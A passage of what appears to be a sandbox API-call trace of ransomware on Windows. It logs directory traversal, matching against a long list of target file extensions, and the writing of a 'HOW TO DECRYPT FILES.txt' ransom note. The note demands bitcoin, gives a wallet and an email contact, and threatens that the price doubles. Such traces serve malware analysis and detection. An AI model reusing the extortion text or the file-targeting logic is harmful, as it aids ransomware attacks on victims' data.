(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.xdw") returned 0 [0112.606] lstrlenA (lpString="*.xdw") returned 5 [0112.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.ods") returned 0 [0112.606] lstrlenA (lpString="*.ods") returned 5 [0112.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.wav") returned 0 [0112.606] lstrlenA (lpString="*.wav") returned 5 [0112.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.mp3") returned 0 [0112.606] lstrlenA (lpString="*.mp3") returned 5 [0112.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.aiff") returned 0 [0112.606] lstrlenA (lpString="*.aiff") returned 6 [0112.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.flac") returned 0 [0112.606] lstrlenA (lpString="*.flac") returned 6 [0112.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.m4a") returned 0 [0112.606] lstrlenA (lpString="*.m4a") returned 5 [0112.606] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Design\\d42a48a3e73b472a80d0d44038af89b0\\System.Design.ni.dll", pszSpec="*.csv") returned 0 [0112.606] lstrlenA (lpString="*.csv") returned 5 [0112.606] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadb6b10f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xadb6b10f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xadc9bc11, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xcfaa00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.607] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.607] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadeb0f55, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xadeb0f55, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xadeb0f55, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d42a48a3e73b472a80d0d44038af89b0", cAlternateFileName="D42A48~1")) returned 0 [0112.607] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.607] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93ada410, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1fb154ee, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1fb154ee, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.DirectorySer#", cAlternateFileName="SYSTEM~1.DIR")) returned 1 [0112.607] lstrcmpA (lpString1=".", lpString2="System.DirectorySer#") returned -1 [0112.607] lstrcmpA (lpString1="..", lpString2="System.DirectorySer#") returned -1 [0112.607] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.607] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.DirectorySer#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#" [0112.607] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#") returned 67 [0112.607] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93ada410, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1fb154ee, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1fb154ee, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.610] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.610] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93ada410, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1fb154ee, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1fb154ee, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.610] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.610] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.610] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1faef38d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1fb154ee, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1fb154ee, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6ed2b26c49820b85b9f78ac7abceefa9", cAlternateFileName="6ED2B2~1")) returned 1 [0112.611] lstrcmpA (lpString1=".", lpString2="6ed2b26c49820b85b9f78ac7abceefa9") returned -1 [0112.611] lstrcmpA (lpString1="..", lpString2="6ed2b26c49820b85b9f78ac7abceefa9") returned -1 [0112.611] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\*.*") returned="*.*" [0112.611] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\", lpString2="6ed2b26c49820b85b9f78ac7abceefa9" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9" [0112.611] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9") returned 100 [0112.611] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1faef38d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1fb154ee, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1fb154ee, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.611] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.611] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1faef38d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1fb154ee, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1fb154ee, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.611] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.611] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.611] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fa56e0c, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1fa56e0c, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1fa7cf6c, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x12c800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.611] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.611] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.DirectoryServices.AccountManagement.ni.dll") returned -1 [0112.611] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.DirectoryServices.AccountManagement.ni.dll") returned -1 [0112.611] lstrcmpiA (lpString1="", lpString2="System.DirectoryServices.AccountManagement.ni.dll") returned -1 [0112.611] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\*.*") returned="*.*" [0112.611] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\" [0112.611] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\") returned="" [0112.611] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\HOW TO DECRYPT FILES.txt" [0112.612] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.directoryser#\\6ed2b26c49820b85b9f78ac7abceefa9\\how to decrypt files.txt")) returned 0xffffffff [0112.612] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.directoryser#\\6ed2b26c49820b85b9f78ac7abceefa9\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.615] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.615] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.616] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.616] CloseHandle (hObject=0x90) returned 1 [0112.616] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\", lpString2="System.DirectoryServices.AccountManagement.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll" [0112.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.ems") returned 0 [0112.617] lstrlenA (lpString="*.ems") returned 5 [0112.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.db") returned 0 [0112.617] lstrlenA (lpString="*.db") returned 4 [0112.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.dbf") returned 0 [0112.617] lstrlenA (lpString="*.dbf") returned 5 [0112.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.myox") returned 0 [0112.617] lstrlenA (lpString="*.myox") returned 6 [0112.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.myo") returned 0 [0112.617] lstrlenA (lpString="*.myo") returned 5 [0112.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.qbw") returned 0 [0112.617] lstrlenA (lpString="*.qbw") returned 5 [0112.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.qbb") returned 0 [0112.617] lstrlenA (lpString="*.qbb") returned 5 [0112.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.qbm") returned 0 [0112.617] lstrlenA (lpString="*.qbm") returned 5 [0112.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.qbo") returned 0 [0112.617] lstrlenA (lpString="*.qbo") returned 5 [0112.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.qbx") returned 0 [0112.617] lstrlenA (lpString="*.qbx") returned 5 [0112.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.qba") returned 0 [0112.617] lstrlenA (lpString="*.qba") returned 5 [0112.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.qby") returned 0 [0112.617] lstrlenA (lpString="*.qby") returned 5 [0112.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.qbj") returned 0 [0112.617] lstrlenA (lpString="*.qbj") returned 5 [0112.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.ofx") returned 0 [0112.617] lstrlenA (lpString="*.ofx") returned 5 [0112.617] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.qif") returned 0 [0112.618] lstrlenA (lpString="*.qif") returned 5 [0112.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.mye") returned 0 [0112.618] lstrlenA (lpString="*.mye") returned 5 [0112.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.mbox") returned 0 [0112.618] lstrlenA (lpString="*.mbox") returned 6 [0112.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.eml") returned 0 [0112.618] lstrlenA (lpString="*.eml") returned 5 [0112.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.pst") returned 0 [0112.618] lstrlenA (lpString="*.pst") returned 5 [0112.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.ost") returned 0 [0112.618] lstrlenA (lpString="*.ost") returned 5 [0112.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.idx") returned 0 [0112.618] lstrlenA (lpString="*.idx") returned 5 [0112.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.dbx") returned 0 [0112.618] lstrlenA (lpString="*.dbx") returned 5 [0112.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.sql") returned 0 [0112.618] lstrlenA (lpString="*.sql") returned 5 [0112.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.mdb") returned 0 [0112.618] lstrlenA (lpString="*.mdb") returned 5 [0112.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.fdb") returned 0 [0112.618] lstrlenA (lpString="*.fdb") returned 5 [0112.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.wab") returned 0 [0112.618] lstrlenA (lpString="*.wab") returned 5 [0112.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.dat") returned 0 [0112.619] lstrlenA (lpString="*.dat") returned 5 [0112.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.txt") returned 0 [0112.619] lstrlenA (lpString="*.txt") returned 5 [0112.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.jpeg") returned 0 [0112.619] lstrlenA (lpString="*.jpeg") returned 6 [0112.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.jpg") returned 0 [0112.619] lstrlenA (lpString="*.jpg") returned 5 [0112.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.png") returned 0 [0112.619] lstrlenA (lpString="*.png") returned 5 [0112.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.php") returned 0 [0112.619] lstrlenA (lpString="*.php") returned 5 [0112.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.cs") returned 0 [0112.619] lstrlenA (lpString="*.cs") returned 4 [0112.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.cpp") returned 0 [0112.619] lstrlenA (lpString="*.cpp") returned 5 [0112.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.rar") returned 0 [0112.619] lstrlenA (lpString="*.rar") returned 5 [0112.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.zip") returned 0 [0112.619] lstrlenA (lpString="*.zip") returned 5 [0112.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.html") returned 0 [0112.619] lstrlenA (lpString="*.html") returned 6 [0112.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.htm") returned 0 [0112.620] lstrlenA (lpString="*.htm") returned 5 [0112.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.xlsx") returned 0 [0112.620] lstrlenA (lpString="*.xlsx") returned 6 [0112.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.xls") returned 0 [0112.620] lstrlenA (lpString="*.xls") returned 5 [0112.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.mp4") returned 0 [0112.620] lstrlenA (lpString="*.mp4") returned 5 [0112.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.ppt") returned 0 [0112.620] lstrlenA (lpString="*.ppt") returned 5 [0112.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.pptx") returned 0 [0112.620] lstrlenA (lpString="*.pptx") returned 6 [0112.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.doc") returned 0 [0112.620] lstrlenA (lpString="*.doc") returned 5 [0112.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.dot") returned 0 [0112.620] lstrlenA (lpString="*.dot") returned 5 [0112.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.docx") returned 0 [0112.620] lstrlenA (lpString="*.docx") returned 6 [0112.620] PathMatchSpecA 